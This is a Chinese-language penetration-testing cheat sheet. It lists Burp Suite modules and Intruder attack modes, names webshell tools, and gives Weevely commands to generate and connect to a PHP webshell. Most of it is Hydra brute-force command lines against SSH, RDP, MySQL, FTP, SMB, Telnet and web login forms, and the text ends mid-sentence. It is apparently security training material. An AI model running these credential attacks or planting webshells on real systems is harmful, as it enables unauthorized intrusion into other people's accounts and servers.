渗透测试-09：渗透工具

火狐插件

• FoxyProxy 标准版
• HackBar
• Max HacKBar
• Flagfox
• Wappalyzer - Technology profiler
• X-Forwarded-For Header
• Cookie Quick Manager

WebShell工具

• Burp Suite
• 菜刀
• 蚁剑
• 冰蝎
• 哥斯拉
• Weevely

Burp Suite

• Dashboard(仪表盘)
  • Tasks
  • Event log
  • Issue activity
• Target
  • Site map(网站导航)
  • Scope
  • Issue definitions
• Proxy(代理模块)
  • Intercept(拦截)：拦截浏览器的请求
  • HTTP history
  • WebSockets history
  • Options
• Intruder(入侵者-爆破模块)
  • Positions：设置 Payloads 的插入点以及爆破模式
  • Payloads：设置 payload，配置字典
  • Resource Pool
  • Options
• Repeater(转发器-重放模块)：更改请求参数，伪装请求，防止页面刷新导致数据重置
• Sequencer(定序器)：随机数分析
  • Live capture
  • Manual load
  • Analysis options
• Decoder(解码器)
• Comparer(比较器)：可视化差异对比
• Logger(记录器)
• Extender(扩展模块)：增加插件
  • Extensions
  • BApp Store
  • APIs
  • Options
• Project options
  • Connections
  • HTTP
  • TLS
  • Session
  • Misc
• User options
  • Connections
  • TLS
  • Display
  • Misc

4种爆破模式详解

Sniper(狙击手)

从第一个$position$开始放payload，此时其他$position$不会设置payload，当第一个$position$尝试完所有payload后，再开始尝试第二个$position$，以此循环，直至所有$position$的尝试完所有payload

Battering ram(攻城槌)

每次用相同的payload去尝试多个不同的$position$，直至将所有payload尝试完为止

Pitchfork(干草叉)

在不同的$position$中设置不同的payload组，采用一一对应的形式进行匹配，如果payload组中的数量不同，直到将数量少的payload组中的payload匹配完为止

Cluster bomb(集束炸弹)

在不同的$position$中设置不同的payload组，对payload进行排列组合(类似于笛卡尔乘积)后进行匹配

Weevely

man weevely

# 生成连接文件
weevely generate cmd ./shell.php

# 连接webshell
weevely http://[url]/shell.php cmd

社工字典

• Pydictor
• 彩虹表

爆破工具

• Hydra
• xHydra
• Medusa

暴力破解类别

1. 常见的网站前后台登录窗口，可用 Burp 进行爆破，主要是 http、https 协议
2. POP3/SMB/RDP/SSH/FTP/POP3/Telnet/MYSQL 等协议 hydra、medusa 等工具
3. 操作系统登录爆破：主要是 RDP(远程桌面协议) 和 SSH 协议，也可利用 Hydra、Join 等工具爆破
4. 离线爆破：编写相应的 python 脚本进行本地爆破，一般适用于拿到密文 hash 值的情况

Hydra

破解ssh的密码：	
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh -f

破解rdp：
hydra IP rdp -l administrator -P pass.txt -V

破解mysql：
hydra  -l root –P pass.txt –e ns 127.0.0.1 mysql

破解ftp：
hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

破解telnet：
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解https：
hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak：
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco：
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb：
hydra -l administrator -P pass.txt IP smb

破解pop3
hydra -l muts -P pass.txt my.pop3.mail pop3

破解http-proxy：
hydra -l admin -P pass.txt http-proxy://10.36.16.18

get方式提交，破解web登录：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

post方式提交，破解web登录(目标网站登录时候需要验证码就无法破解)：











hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:”

破解的用户名是admin，密码字典是pass.lst，破解结果保存在ok.lst，-t 是同时线程数为1，-f 是当破解了一个密码就停止，ip 是本地，就是目标ip，
http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性，后面